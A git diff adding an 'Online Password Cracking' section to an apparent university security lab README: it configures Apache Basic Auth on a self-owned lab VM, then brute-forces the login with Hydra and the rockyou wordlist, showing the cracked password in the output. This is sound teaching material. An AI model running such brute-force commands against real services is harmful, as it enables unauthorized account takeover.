diff --git a/Lab 9 - Authentication/README.md b/Lab 9 - Authentication/README.md
index 8e0bc58..ab1a45d 100644
--- a/Lab 9 - Authentication/README.md	
+++ b/Lab 9 - Authentication/README.md	
@@ -27,3 +27,76 @@ john --wordlist=./rockyou.txt <(keepass2john steve_passwords.kdbx)
 ```
 
 As a result, we get the password: `dancingdiva11195`
+
+## Online Password Cracking
+This task is solved using the `heartbleed` VM from Lab 5.
+
+### Preparation
+Look up IP address of `heartbleed` VM:
+
+```sh
+ip address show
+```
+
+Add local DNS entry for `heartbleed` VM:
+
+```sh
+echo '{ip address} heartbleed.ssb' | sudo tee --append /etc/hosts
+```
+
+Change Apache configuration to require login:
+
+```diff
+ <VirtualHost *:443>
+     ServerAdmin webmaster@localhost
+ 
+     DocumentRoot /var/www/heartbleed.ssb
+     ServerName heartbleed.ssb
+     ServerAlias www.heartbleed.ssb
+     SSLEngine on
+     SSLCertificateFile /etc/apache2/ssl/apache.crt
+     SSLCertificateKeyFile /etc/apache2/ssl/apache.key
+     ErrorLog ${APACHE_LOG_DIR}/error.log
+     CustomLog ${APACHE_LOG_DIR}/access.log combined
++
++    <Directory "/var/www/heartbleed.ssb">
++        AuthType Basic
++        AuthName "Restricted Content"
++        AuthUserFile /etc/apache2/.htpasswd
++        Require valid-user
++    </Directory>
+ </VirtualHost>
+```
+
+Create user login `test` with a password of your choice (the later the password occurs in `rockyou.txt`, the longer it takes to crack):
+
+```sh
+sudo htpasswd -c /etc/apache2/.htpasswd test
+```
+
+Reload settings:
+
+```sh
+service apache2 reload
+```
+
+### Start Cracking
+Crack password using `Hydra`:
+
+```sh
+hydra -l test -P ./rockyou.txt heartbleed.ssb https-get
+```
+
+Output:
+```
+Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
+
+Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-15 17:15:46
+[WARNING] You must supply the web page as an additional option or via -m, default path set to /
+[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
+[DATA] attacking http-gets://heartbleed.ssb:443/
+[STATUS] 4625.00 tries/min, 4625 tries in 00:01h, 14339773 to do in 51:41h, 16 active
+[443][http-get] host: heartbleed.ssb   login: test   password: vendetta
+1 of 1 target successfully completed, 1 valid password found
+Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-15 17:18:41
+```